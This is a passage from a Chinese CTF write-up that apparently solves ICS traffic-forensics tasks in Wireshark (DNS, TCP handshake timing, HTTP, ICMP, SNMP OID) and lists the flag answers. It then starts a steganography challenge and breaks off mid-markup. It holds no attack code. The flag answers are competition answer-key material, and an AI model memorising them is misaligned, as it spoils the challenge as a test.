3\uff1a\u63a7\u5236\u7ad9\u57df\u540d\u89e3\u6790\u7ed3\u679c<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u627e\u51fa\u63a7\u5236\u7ad9\u57df\u540d ctrlws.factory.local \u7684\u89e3\u6790 IP\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u63d0\u4ea4\u683c\u5f0f\uff1aflag{IP\u5730\u5740}<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">39\u53f7\u5305\u627e\u5230<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u63a7\u5236\u7ad9\u57df\u540d\u89e3\u6790\u7ed3\u679c<br>\u7ebf\u7d22\u5206\u6790\uff1a\u57df\u540d\u662f ctrlws.factory.local\u3002<br>\u6839\u636e\u9898\u76ee\u63cf\u8ff0\uff0cSCADA (192.168.1.5) \u8fde\u5411 \u63a7\u5236\u7ad9 (192.168.1.10)\u3002<br>\u5728 Task 5 \u4e2d\u6211\u4eec\u770b\u5230\u5bf9 ctrlws.factory.local \u7684\u8bf7\u6c42\u662f\u53d1\u5f80\u63a7\u5236\u7ad9\u7684\u3002<br>\u56e0\u6b64\u8be5\u57df\u540d\u89e3\u6790\u7684 IP \u5c31\u662f\u63a7\u5236\u7ad9\u7684 IP\u3002<br>\u6b63\u786e flag:<br>flag{192.168.1.10}<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-320-1024x650.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"650\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-320-1024x650.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2653\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>flag{192.168.1.10}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-321-1024x339.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"339\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-321-1024x339.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2654\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u4efb\u52a1 4\uff1a\u8fde\u63a5\u5efa\u7acb\u65f6\u95f4<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u786e\u5b9aSCADA\uff08\u6e90\uff1a192.168.1.5\uff09\u5230\u63a7\u5236\u7ad9\uff08\u76ee\u7684\uff1a192.168.1.10\uff09\u4e0a\u9996\u4e2a\u6210\u529f\u53d1\u8d77\u7684\u65f6\u95f4\u70b9(UTC)\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u63d0\u4ea4\u683c\u5f0f\uff1aflag{YYYY-MM-DDTHH:MM:SSZ}<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>tcp &amp;&amp; ip.src == 192.168.1.5 &amp;&amp; ip.dst == 192.168.1.10 &amp;&amp; (tcp.flags.syn == 1 || tcp.flags.ack == 1)<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-322-1024x556.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"556\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-322-1024x556.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2655\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u79d2\u7ea7\u7cbe\u5ea6<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5bfb\u627e\u63e1\u624b<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>No. 15 \u662f <code>PSH, ACK<\/code>\uff08\u6570\u636e\u4f20\u8f93\uff09\uff0c\u8bf4\u660e\u662f\u65e7\u8fde\u63a5\uff0c\u4e0d\u662f\u201c\u53d1\u8d77\u201d\u3002<\/li>\n\n\n\n<li><strong>No. 32<\/strong> \u662f <strong><code>[SYN]<\/code><\/strong> \u5305\uff0c\u4ee3\u8868 SCADA <strong>\u9996\u6b21\u4e3b\u52a8\u53d1\u8d77<\/strong> \u65b0\u7684 TCP \u8fde\u63a5\u3002<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Wireshark \u663e\u793a\u65f6\u95f4\uff08\u4e2d\u56fd\u6807\u51c6\u65f6\u95f4\uff09\uff1a<code>2025-03-15 17:30:01<\/code><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-323-1024x389.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"389\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-323-1024x389.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2656\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u8f6c\u6362\u4e3a <strong>UTC \u65f6\u95f4<\/strong> (-8\u5c0f\u65f6)\uff1a<code>2025-03-15 09:30:01<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u683c\u5f0f\u5316<\/strong>\uff1a\u9898\u76ee\u53ea\u9700\u8981\u7cbe\u786e\u5230\u79d2\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>flag:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>flag{2025-03-15T09:30:01Z}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-324-1024x294.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"294\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-324-1024x294.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2657\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u4efb\u52a1 5\uff1aHTTP \u8bf7\u6c42\u75d5\u8ff9<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u63d0\u53d6 SCADA \u5bf9\u63a7\u5236\u7ad9\u53d1\u8d77\u7684 HTTP \u8bf7\u6c42\u7684 Host \u4e0e URI\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u63d0\u4ea4\u683c\u5f0f\uff1aflag{Host_URI}<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u548c\u7b2c\u4e09\u9898\u8fde\u5728\u4e00\u8d77\u7684<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u9898\u76ee\u8bf4\u660e\uff1aSCADA\uff081.5\uff09\u5bf9\u63a7\u5236\u7ad9\uff081.10\uff09\u53d1\u8d77\u8bf7\u6c42\u3002<br>\u9898\u76ee\u4efb\u52a1 3 \u63d0\u5230\u63a7\u5236\u7ad9\u57df\u540d\u662f ctrlws.factory.local\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-325-1024x663.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"663\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-325-1024x663.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2658\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>flag{ctrlws.factory.local_\/api\/status}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-326.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"835\" height=\"358\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-326.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2659\"  sizes=\"auto, (max-width: 835px) 100vw, 835px\" \/><\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u4efb\u52a1 6\uff1aICMP Echo Request \u5e8f\u5217\u53f7<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u653b\u51fb\u8005\uff08192.168.1.100\uff09\u5bf9\u63a7\u5236\u7ad9\u53d1\u8d77\u4e86 ICMP Echo Request\uff08ping\uff09\u3002\u627e\u51fa\u8be5 ICMP \u8bf7\u6c42\u7684\u5e8f\u5217\u53f7\uff08Sequence Number\uff09\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u63d0\u4ea4\u683c\u5f0f\uff1aflag{0x\u5e8f\u5217\u53f7}<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">SCADA\uff08\u53d1\u8d77\u65b9\uff09IP\uff1a192.168.1.5<br>\u63a7\u5236\u7ad9\uff08\u76ee\u6807\u65b9\uff09IP\uff1a192.168.1.10<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u770b192.168.1.100\u7684ping\u5305\u5c31\u884c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>icmp &amp;&amp; ip.addr == 192.168.1.100 &amp;&amp; ip.addr == 192.168.1.10<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-327-1024x272.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"272\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-327-1024x272.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2660\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-328-1024x551.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"551\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-328-1024x551.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2661\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>flag{0x0123}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-329.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1010\" height=\"350\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-329.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2662\"  sizes=\"auto, (max-width: 1010px) 100vw, 1010px\" \/><\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u4efb\u52a1 7\uff1aSNMP Get \u8bf7\u6c42\u7684 OID<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">SCADA \u5bf9\u63a7\u5236\u7ad9\u53d1\u8d77\u4e86 SNMP Get \u8bf7\u6c42\u3002\u627e\u51fa\u8be5\u8bf7\u6c42\u67e5\u8be2\u7684 OID\uff08Object Identifier\uff09\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u63d0\u4ea4\u683c\u5f0f\uff1aflag{OID}<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u770b UDP\u5305 SCADA \u5bf9\u63a7\u5236\u7ad9\u53d1\u8d77\u4e86 SNMP Get \u8bf7\u6c42<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5c31\u662f192.168.1.5 -&gt;192.168.1.10<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>udp &amp;&amp; ip.src == 192.168.1.5 &amp;&amp; ip.dst == 192.168.1.10<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-330-1024x570.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"570\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-330-1024x570.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2663\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>flag{1.3.6.1.2.1.1.5.0}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-331-1024x304.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"304\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-331-1024x304.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2664\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u7b54\u6848\u603b\u548c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>1.flag{0x3c4d_0x05_0x0015}\n2.flag{ns=2;s=Valve\/Status}\n3.flag{192.168.1.10}\n4.flag{2025-03-15T09:30:01Z}\n5.flag{ctrlws.factory.local_\/api\/status}\n6.flag{0x0123}\n7.flag{1.3.6.1.2.1.1.5.0}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-332-1024x527.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"527\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-332-1024x527.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2665\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>UniCTF{base64_misc_ctf_Ahiz_7303fef4-5058-4110-8841-e295d45bd228}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u603b\u88c1\u56db\u6bd4\u7279,\u8fd9\u80fd\u73a9\uff1f<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-333-1024x462.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"462\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-333-1024x462.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2666\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">jpg \u5206\u79bb\u53ef\u4ee5\u5f97\u5230 \u4e24\u4e2apng \u76f8\u540c\u7684\u56fe\u7247 \u4ee5\u4e3a\u662f\u76f2\u6c34\u5370\u7ed3\u679c\u4ec0\u4e48\u90fd\u4e0d\u662f\uff0c\u6c14\u6b7b\uff0c\u7f51\u7edc\u641c\u7d22\u548cAI\u5f97\u77e5\u662f4-bit\/Nibble \u9690\u5199<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-334.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"865\" height=\"160\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-334.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2667\"  sizes=\"auto, (max-width: 865px) 100vw, 865px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f60\u770b\u5206\u79bb\u7684\u56fe\u7247\u5927\u5c0f\u548c\u539f\u56fe\u7247\u5bf9\u5e94\u4e0d\u4e0a\u8bf4\u660e\u6dfb\u52a0\u7684\u591a\u4e8e\u7684\u6570\u636e010\u770b\u53ef\u4ee5\u53d1\u73b0<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">jpg \u548c png \u91cc\u9762\u52a0\u4e86\u6570\u636e<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u5934\u90e8<\/strong>\uff1a\u6b63\u5e38\u7684 JPEG \u56fe\u7247\uff08\u4ee5 <code>FF D9<\/code> \u7ed3\u5c3e\uff09\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u4e2d\u90e8<\/strong>\uff1a\u88ab\u6df7\u6dc6\u7684\u4e2d\u95f4\u6570\u636e\uff08Middle\uff09\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u5c3e\u90e8<\/strong>\uff1a\u4e00\u4e2a\u660e\u6587\u7684 PNG \u56fe\u7247\uff08\u4ee5 <code>89 50 4E 47<\/code> \u5f00\u5934\uff09\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-335-1024x808.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"808\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-335-1024x808.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" 